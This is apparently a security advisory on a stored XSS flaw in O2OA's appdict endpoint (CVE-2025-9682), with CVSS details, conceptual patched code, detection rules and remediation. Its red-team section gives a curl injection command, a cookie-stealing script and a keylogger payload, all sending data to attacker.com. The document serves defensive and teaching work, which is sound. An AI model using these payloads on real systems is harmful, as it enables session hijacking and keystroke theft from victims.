CVE-2025-9682

Executive Summary

CVE-2025-9682 is a stored cross-site scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw exists in the /x_cms_assemble_control/jaxrs/design/appdict endpoint, specifically within the Personal Profile Page component. An authenticated attacker can inject malicious scripts that execute in the context of other users' browsers when they view the affected page. The vulnerability has a low CVSS score of 3.5 due to the requirement for user interaction and low impact, but it can be chained with social engineering to steal session tokens or perform actions on behalf of victims. A patch is available in version 10.0-411.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker must have a valid user account.
• User Interaction (UI): Required – The victim must click on or view the crafted content.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): None – No direct data theft.
• Integrity (I): Low – The attacker can modify content within the victim's session.
• Availability (A): None – No denial of service.

Threat Level: Low. The requirement for authentication and user interaction significantly reduces the risk. However, in a corporate environment, a low-privilege insider or a compromised account could use this to escalate privileges or steal sensitive data.

Deep Dive & Mechanics

The vulnerability resides in the design/appdict endpoint of the x_cms_assemble_control module. This endpoint is used to manage application dictionaries (appdict) within the CMS (Content Management System). The flaw is a classic stored XSS: user-supplied input is not properly sanitized before being stored and later rendered in the Personal Profile Page.

Attack Flow:

1. An attacker authenticates to O2OA.
2. The attacker sends a crafted POST request to /x_cms_assemble_control/jaxrs/design/appdict with a malicious payload in a field (e.g., name or value).
3. The server stores the payload in the database without proper encoding.
4. When an administrator or another user views the Personal Profile Page (which lists appdict entries), the payload is rendered in their browser.
5. The malicious script executes, potentially stealing cookies, performing actions on behalf of the victim, or redirecting them to a phishing site.

Root Cause: Lack of output encoding or input validation on the server side. The application likely uses a framework that auto-escapes in some contexts but not in others, or the developer explicitly disabled escaping for this endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly stores user input without sanitization
@POST
@Path("design/appdict")
public Response createAppDict(String jsonData) {
    AppDict dict = parseJson(jsonData);
    // No sanitization of dict.getName() or dict.getValue()
    appDictService.save(dict);
    return Response.ok().build();
}

Patched Code (Conceptual):

// Patched: Input is sanitized using a library like OWASP Java Encoder
@POST
@Path("design/appdict")
public Response createAppDict(String jsonData) {
    AppDict dict = parseJson(jsonData);
    // Sanitize input to prevent XSS
    dict.setName(Encode.forHtml(dict.getName()));
    dict.setValue(Encode.forHtml(dict.getValue()));
    appDictService.save(dict);
    return Response.ok().build();
}

The patch applies HTML entity encoding to all user-controlled fields before storage. This ensures that any injected script tags are rendered as harmless text.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid O2OA user account (low privilege).
• Access to the /x_cms_assemble_control/jaxrs/design/appdict endpoint.

Exploit Steps:

1. Craft a malicious payload. For example, to steal cookies:

   <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

2. Send the payload via a POST request:

   curl -X POST "http://target-o2oa/x_cms_assemble_control/jaxrs/design/appdict" \
     -H "Content-Type: application/json" \
     -H "Cookie: JSESSIONID=valid_session" \
     -d '{"name":"test","value":"<script>document.location=\"https://attacker.com/steal?cookie=\"+document.cookie</script>"}'
   

3. Wait for an administrator to view the Personal Profile Page.
4. The victim's browser sends their session cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
}
</script>

Blue Team

Detection:

• Monitor for POST requests to /x_cms_assemble_control/jaxrs/design/appdict with unusual payloads (e.g., <script> tags).
• Look for outbound connections to unknown domains from the O2OA server.
• Review web server logs for document.cookie or fetch patterns in request bodies.

Hunting:

• Search the database for stored XSS patterns in the appdict table:

  SELECT * FROM appdict WHERE value LIKE '%<script>%' OR value LIKE '%onerror%';
  

• Use a WAF rule to block requests containing <script> in the value field.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the O2OA server.
  • POST requests to /x_cms_assemble_control/jaxrs/design/appdict with base64-encoded or obfuscated JavaScript.
• File System:
  • No specific file artifacts; the payload is stored in the database.
• Logs:
  • Web server logs showing 200 responses to the vulnerable endpoint with suspicious payloads.
  • Application logs showing WARN or ERROR for unhandled exceptions during input parsing.

Detection Engineering

YARA Rule

rule CVE_2025_9682_O2OA_XSS {
    meta:
        description = "Detects stored XSS payloads targeting O2OA CVE-2025-9682"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $xss4 = "javascript:" ascii wide nocase
        $endpoint = "/x_cms_assemble_control/jaxrs/design/appdict" ascii wide nocase
    condition:
        any of ($xss*) and $endpoint
}

Sigma Rule

title: O2OA Stored XSS via Appdict Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the vulnerable O2OA endpoint with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/x_cms_assemble_control/jaxrs/design/appdict'
        cs-uri-query|contains: 
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in appdict values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9682 O2OA Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/x_cms_assemble_control/jaxrs/design/appdict"; http_uri; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade O2OA to version 10.0-411 or later.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block requests containing <script>, onerror, or javascript: in the value field of the appdict endpoint.

Long-term:

• Implement input validation and output encoding for all user-supplied data.
• Conduct a security audit of all CMS endpoints.
• Enforce Content Security Policy (CSP) headers to mitigate XSS impact.
• Train developers on secure coding practices, especially regarding XSS prevention.

Workaround:

• Disable the Personal Profile Page for non-admin users if not required.
• Restrict access to the /x_cms_assemble_control/jaxrs/design/appdict endpoint via network segmentation.

Valters IT